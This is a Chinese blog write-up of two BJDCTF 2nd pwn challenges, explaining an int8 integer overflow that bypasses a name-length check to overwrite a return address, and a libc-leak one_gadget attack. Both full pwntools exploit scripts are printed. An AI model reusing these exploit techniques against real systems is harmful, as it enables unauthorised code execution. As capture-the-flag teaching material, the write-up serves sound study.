没错,这就是一篇很水的随笔。...

  两道很简单的题,先来看第一道。r2t3,保护检查了一下是只开启了堆栈不可执行。

  简单看一下ida的伪代码。

  main函数让你输入一个name,然后会执行一个name_check的函数,可以看到v3是int8类型的。这里可以进行整数溢出。

Int8, 等于Byte, 占1个字节.

    Int16, 等于short, 占2个字节. -32768 32767

    Int32, 等于int, 占4个字节. -2147483648 2147483647

    Int64, 等于long, 占8个字节. -9223372036854775808 9223372036854775807

 这样, 看起来比short,int,long更加直观些!

   另外, 还有一个Byte, 它等于byte, 0 - 255.

  所以说这里的v3是占一个字节的,一个字节是由8位二进制决定的。

  例如:0000 0000 就是一个字节,代表0,1111 1111 也是一个字节,代表255.

  如果1111 1111再加1呢?结果就是0000 0000了,但是这只是显示了一个字节,其实再计算机里面会溢出,前面会进行进位操作,可以看到这里有个判断就是判断v3的长度,必须是在(3,8]这个区间内,满足这个容易,但是就溢出不到返回地址,要想溢出到返回地址,其实输入name的值是肯定要比8大的,这里就用到了这个整数溢出,我们可以给name的值的长度为260,这样就可以既绕过判断长度,又可以溢出到返回地址。

  对了,这道题给了后门,所以就直接拿到shell了。这里贴一下exp:

 1 from pwn import *
2
3 p = remote('xxxxxx',xxxxx)
4 context.log_level = 'debug'
5
6 shell = 0x0804858B
7 payload = 'a'*21 + p32(shell)
8 payload += 'b'*(255-len(payload)+4)
9 p.sendlineafter('name:',payload)
10
11 print p.recv()
12 p.recv()
13 p.interactive()

  接下来就是one_gadget了,这道题,直接给了一个printf的地址,查一下libc版本,然后算出基地址,在直接找一个可以用的one_gadget,就直接拿到shell了。。。

  我比赛的时候一直在搭建自己学校的CTF平台,没顾上打这场比赛。。。(主要是自己菜,一道题也做不出来。。。哭唧唧)

就尝试了这一道题,不知道为啥,当时怎么也打不通.............比赛完,再一试,就通了。  无耻的还是贴一下exp:

 1 from pwn import *
2
3 context.log_level = 'debug'
4 p = remote('xxxxxxxxn',xxxx)
5
6 p.recvuntil('u:0x')
7 print_addr = int(p.recv(12),16)
8 og = [0xe237f,0xe2383,0xe2386,0x106ef8]
9 base_addr = print_addr - 0x062830
10 shell = base_addr + og[3]
11 payload = str(shell)
12 print payload
13 p.sendlineafter('gadget:',payload)
14 p.interactive()

  本来还想发一道题的,结果看见是堆题目,立一个flag,这个星期忙里偷闲,把堆入个门,顺便把拿到yds想要女朋友(???是CTF它不好玩吗?要什么女朋友???)做出来!

  下两个博客一个是堆,一个是那道题的解析!好了,又水了一篇博客,真开心,溜了溜了,上数据库原理去了。。。

bjdctf r2t3 onegadget的更多相关文章

  1. [BUUCTF]PWN12——[BJDCTF 2nd]r2t3

    [BUUCTF]PWN12--[BJDCTF 2nd]r2t3 题目网址:https://buuoj.cn/challenges#[BJDCTF%202nd]r2t3 步骤: 例行检查,32位,开启了 ...

  2. [BUUCTF]PWN15——[BJDCTF 2nd]one_gadget

    [BUUCTF]PWN15--[BJDCTF 2nd]one_gadget 附件 步骤: 例行检查,64位,保护全开 nc试运行一下程序,看看情况,它一开始给了我们一个地址,然后让我们输入one ga ...

  3. [BJDCTF 2nd]fake google

    [BJDCTF 2nd]fake google 进入页面: 试了几下发现输入xxx,一般会按的格式显示, P3's girlfirend is : xxxxx 然后猜测会不会执行代码,发现可以执行 & ...

  4. BUUOJ [BJDCTF 2nd]elementmaster

    [BJDCTF 2nd]elementmaster 进来就是这样的一个界面,然后就查看源代码 转换之后是Po.php,尝试在URL之后加上看看,出现了一个“.“ ....... 迷惑 然后看了wp 化 ...

  5. [BJDCTF 2nd]文件探测

    [BJDCTF 2nd]文件探测 这两天刷题碰到了一道稍微有难度的题,记录一下,有一些点是未被掌握到的. home.php: <?php setcookie("y1ng", ...

  6. [BJDCTF 2nd]duangShell 反弹shell

    [BJDCTF 2nd]duangShell   [BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 ...

  7. [BJDCTF 2nd]duangShell

    [BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 该文件产生的原因是:​使用vi编辑器打开文件时,会 ...

  8. [BJDCTF 2nd]xss之光

    [BJDCTF 2nd]xss之光 进入网址之后发现存在.git泄露,将源码下载下来,只有index.php文件 <?php $a = $_GET['yds_is_so_beautiful']; ...

  9. [BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF,不过如此

    [BJDCTF 2nd]Schrödinger 点进题目之后是一堆英文,英语不好就不配打CTF了吗(流泪) 复制这一堆英文去谷歌翻译的时候发现隐藏文字 移除test.php文件,访问test.php ...

随机推荐

  1. Study Blazor .NET(二)安装

    翻译自:Study Blazor .NET,转载请注明. 安装 请根据下面步骤安装开始使用Blazor: 1.针对不同的操作系统,安装最新版.Net Core框架 [这里] 2.用.Net Core ...

  2. Docker 急速入门

    1. 概述 之前聊了很多 SpringCloud 相关的话题,今天我们来聊聊服务容器 Docker. 2. 在 CentOS7 安装 Docker 2.1 卸载旧版本的Docker  # yum re ...

  3. HTML四种定位-固定定位

    固定定位 1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset=&q ...

  4. Linux检测磁盘空间

    在linux中,文件系统将所有的磁盘都并入一个虚拟目录下,在使用新的存储媒体之前,需要把它放到虚拟目录下,这项工作称为挂载. 1.mount命令 mount会输出当前系统上挂载的设备列表,要在虚拟目录 ...

  5. 撸了一个可调试 gRPC 的 GUI 客户端

    前言 平时大家写完 gRPC 接口后是如何测试的?往往有以下几个方法: 写单测代码,自己模拟客户端测试. 可以搭一个 gRPC-Gateway 服务,这样就可以在 postman 中进行模拟. 但这两 ...

  6. 快速入门上手JavaScript中的Promise

    当我还是一个小白的时候,我翻了很多关于Promise介绍的文档,我一直没能理解所谓解决异步操作的痛点是什么意思 直到我翻了谷歌第一页的所有中文文档我才有所顿悟,其实从他的英文字面意思理解最为简单粗暴 ...

  7. CF513G3 Inversions problem

    考虑记\(f_{i,j,k}\)为\(k\)次操作后,\(i,j\)位置被调换的概率. 那么我们考虑枚举我们要算的答案即\((x,y)\). 那么有\(\frac{n * (n + 1)}{2}\)种 ...

  8. P3722 [AH2017/HNOI2017]影魔(单调栈+扫描线+线段树)

    题面传送门 首先我们把这两个贡献翻译成人话: 区间 \([l,r]\) 产生 \(p_1\) 的贡献当且仅当 \(a_l,a_r\) 分别为区间 \([l,r]\) 的最大值和次大值. 区间 \([l ...

  9. 什么是总线、总线的类型、局部总线、局部总线类型和什么是接口方式?什么是IDE?什么是SCSI?

    在安装电脑系统时,进行内核配置时涉及到各种总线类型,有必要了解一下什么是总线.总线的类型.局部总线.局部总线类型和接口方式. 1)总线总线是一组通信线.在机器内部, 各部件通过总线连接; 对于外部设备 ...

  10. Macbookpro vim操作键说明

    i → Insert 模式,按 ESC 回到 Normal 模式. x → 删当前光标所在的一个字符.:wq → 存盘 + 退出 (:w 存盘, :q 退出) (陈皓注::w 后可以跟文件名)dd → ...